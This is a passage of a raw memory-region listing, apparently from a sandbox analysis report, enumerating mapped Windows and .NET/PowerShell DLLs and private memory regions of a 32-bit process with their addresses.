region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1941 start_va = 0x4e0000 end_va = 0x51bfff monitored = 0 entry_point = 0x4e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1942 start_va = 0x4e0000 end_va = 0x51bfff monitored = 0 entry_point = 0x4e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1943 start_va = 0x4e0000 end_va = 0x51bfff monitored = 0 entry_point = 0x4e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1944 start_va = 0x4e0000 end_va = 0x51bfff monitored = 0 entry_point = 0x4e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1945 start_va = 0x4e0000 end_va = 0x51bfff monitored = 0 entry_point = 0x4e128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1946 start_va = 0x73ee0000 end_va = 0x73f1afff monitored = 0 entry_point = 0x73ee128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1984 start_va = 0x6beb0000 end_va = 0x6d992fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 2036 start_va = 0x1c50000 end_va = 0x1cb1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 2038 start_va = 0x3fd0000 end_va = 0x400ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fd0000" filename = "" Region: id = 2039 start_va = 0x4450000 end_va = 0x448ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 2040 start_va = 0x4530000 end_va = 0x456ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004530000" filename = "" Region: id = 2041 start_va = 0x45a0000 end_va = 0x45dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045a0000" filename = "" Region: id = 2042 start_va = 0x45f0000 end_va = 0x462ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045f0000" filename = "" Region: id = 2043 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2044 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2046 start_va = 0x43a0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 2047 start_va = 0x4400000 end_va = 0x443ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 2048 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2049 start_va = 0x722e0000 end_va = 0x722f2fff monitored = 1 entry_point = 0x722ed900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 2050 start_va = 0x4630000 end_va = 0x4901fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 2051 start_va = 0x4e0000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2052 start_va = 0x1ce0000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 2053 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 2105 start_va = 0x6b7a0000 end_va = 0x6beabfff monitored = 1 entry_point = 0x6bdbf392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 2118 start_va = 0x4570000 end_va = 0x462ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 2119 start_va = 0x76000000 end_va = 0x76004fff monitored = 0 entry_point = 0x76001438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 2123 start_va = 0x6b090000 end_va = 0x6b79bfff monitored = 1 entry_point = 0x6b6af392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 2145 start_va = 0x76190000 end_va = 0x76dd9fff monitored = 0 entry_point = 0x76211601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2146 start_va = 0x480000 end_va = 0x480fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000480000" filename = "" Region: id = 2147 start_va = 0x75df0000 end_va = 0x75e1efff monitored = 0 entry_point = 0x75df2a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 2149 start_va = 0x75a50000 end_va = 0x75b70fff monitored = 0 entry_point = 0x75a5158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 2150 start_va = 0x77610000 end_va = 0x7761bfff monitored = 0 entry_point = 0x7761238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 2161 start_va = 0x490000 end_va = 0x497fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2162 start_va = 0x4490000 end_va = 0x44cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004490000" filename = "" Region: id = 2163 start_va = 0x4a40000 end_va = 0x4a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a40000" filename = "" Region: id = 2164 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2169 start_va = 0x72140000 end_va = 0x72147fff monitored = 0 entry_point = 0x72143bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 2170 start_va = 0x4a80000 end_va = 0x4e7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a80000" filename = "" Region: id = 2171 start_va = 0x1cc0000 end_va = 0x1cc7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 2172 start_va = 0x4a80000 end_va = 0x4e7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a80000" filename = "" Region: id = 2173 start_va = 0x4920000 end_va = 0x495ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004920000" filename = "" Region: id = 2174 start_va = 0x49b0000 end_va = 0x49effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049b0000" filename = "" Region: id = 2175 start_va = 0x6be90000 end_va = 0x6bea5fff monitored = 0 entry_point = 0x6be913df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 2176 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 2177 start_va = 0x4970000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 2178 start_va = 0x4b90000 end_va = 0x4bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b90000" filename = "" Region: id = 2179 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 2180 start_va = 0x72230000 end_va = 0x722b3fff monitored = 0 entry_point = 0x722319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2181 start_va = 0x4a80000 end_va = 0x4afffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a80000" filename = "" Region: id = 2182 start_va = 0x6be80000 end_va = 0x6be89fff monitored = 0 entry_point = 0x6be84ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 2183 start_va = 0x4bd0000 end_va = 0x4ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 2187 start_va = 0x490000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000490000" filename = "" Region: id = 2189 start_va = 0x44d0000 end_va = 0x450ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 2190 start_va = 0x4a00000 end_va = 0x4a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 2191 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 2192 start_va = 0x1cc0000 end_va = 0x1cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2193 start_va = 0x1cd0000 end_va = 0x1cd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2194 start_va = 0x1cc0000 end_va = 0x1cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2195 start_va = 0x1cd0000 end_va = 0x1cd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2196 start_va = 0x1cc0000 end_va = 0x1cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2197 start_va = 0x1cc0000 end_va = 0x1cc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2200 start_va = 0x1cc0000 end_va = 0x1cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2201 start_va = 0x1cc0000 end_va = 0x1cc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2202 start_va = 0x1cc0000 end_va = 0x1cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 2203 start_va = 0x1cc0000 end_va = 0x1cc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 2288 start_va = 0x4010000 end_va = 0x404ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004010000" filename = "" Region: id = 2289 start_va = 0x44e0000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 2290 start_va = 0x4a00000 end_va = 0x4a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 2291 start_va = 0x4b90000 end_va = 0x4bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b90000" filename = "" Region: id = 2292 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 2293 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 2319 start_va = 0x4970000 end_va = 0x49affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004970000" filename = "" Region: id = 2320 start_va = 0x4b50000 end_va = 0x4b8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 2321 start_va = 0x4d80000 end_va = 0x4dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d80000" filename = "" Region: id = 2322 start_va = 0x4de0000 end_va = 0x4e1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 2323 start_va = 0x7ef92000 end_va = 0x7ef94fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 2324 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 2384 start_va = 0x6b660000 end_va = 0x6be79fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 2429 start_va = 0x6b300000 end_va = 0x6b653fff monitored = 1 entry_point = 0x6b637a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 2437 start_va = 0x75fc0000 end_va = 0x75ff4fff monitored = 0 entry_point = 0x75fc145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 2438 start_va = 0x75c50000 end_va = 0x75c55fff monitored = 0 entry_point = 0x75c51782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 2439 start_va = 0x4e20000 end_va = 0x5170fff monitored = 1 entry_point = 0x5157a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 2440 start_va = 0x4e20000 end_va = 0x5170fff monitored = 1 entry_point = 0x5157a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 2441 start_va = 0x4e20000 end_va = 0x5170fff monitored = 1 entry_point = 0x5157a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 2442 start_va = 0x4e20000 end_va = 0x5170fff monitored = 1 entry_point = 0x5157a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 2447 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 2451 start_va = 0x6dd10000 end_va = 0x6e483fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 2538 start_va = 0x6b1d0000 end_va = 0x6b2fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 2548 start_va = 0x6b0a0000 end_va = 0x6b1cbfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 2568 start_va = 0x74f70000 end_va = 0x74f72fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 2569 start_va = 0x725c0000 end_va = 0x72648fff monitored = 1 entry_point = 0x725c1130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 2576 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 2579 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 2580 start_va = 0x6b040000 end_va = 0x6b093fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 2581 start_va = 0x3fa0000 end_va = 0x3fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003fa0000" filename = "" Region: id = 2582 start_va = 0x4380000 end_va = 0x43bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 2583 start_va = 0x4910000 end_va = 0x494ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004910000" filename = "" Region: id = 2584 start_va = 0x4ae0000 end_va = 0x4b1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ae0000" filename = "" Region: id = 2585 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 2586 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 2668 start_va = 0x4420000 end_va = 0x445ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004420000" filename = "" Region: id = 2669 start_va = 0x4ec0000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ec0000" filename = "" Region: id = 2670 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 2687 start_va = 0x4d30000 end_va = 0x4d6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d30000" filename = "" Region: id = 2688 start_va = 0x4f00000 end_va = 0x4f3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f00000" filename = "" Region: id = 2689 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 2690 start_va = 0x1ce0000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ce0000" filename = "" Region: id = 2691 start_va = 0x4cd0000 end_va = 0x4d0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cd0000" filename = "" Region: id = 2692 start_va = 0x7ef8f000 end_va = 0x7ef91fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 2695 start_va = 0x6af80000 end_va = 0x6b037fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 2697 start_va = 0x6a9c0000 end_va = 0x6aa0bfff monitored = 1 entry_point = 0x6a9dfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 2698 start_va = 0x43c0000 end_va = 0x440bfff monitored = 1 entry_point = 0x43dfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 2699 start_va = 0x43c0000 end_va = 0x440bfff monitored = 1 entry_point = 0x43dfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 2700 start_va = 0x43c0000 end_va = 0x440bfff monitored = 1 entry_point = 0x43dfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 2701 start_va = 0x43c0000 end_va = 0x440bfff monitored = 1 entry_point = 0x43dfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 2703 start_va = 0x72300000 end_va = 0x72404fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 2709 start_va = 0x6a940000 end_va = 0x6a9bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 2712 start_va = 0x72140000 end_va = 0x72147fff monitored = 0 entry_point = 0x721410e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 2713 start_va = 0x6a8f0000 end_va = 0x6a936fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 2716 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 2718 start_va = 0x3f80000 end_va = 0x3ffffff 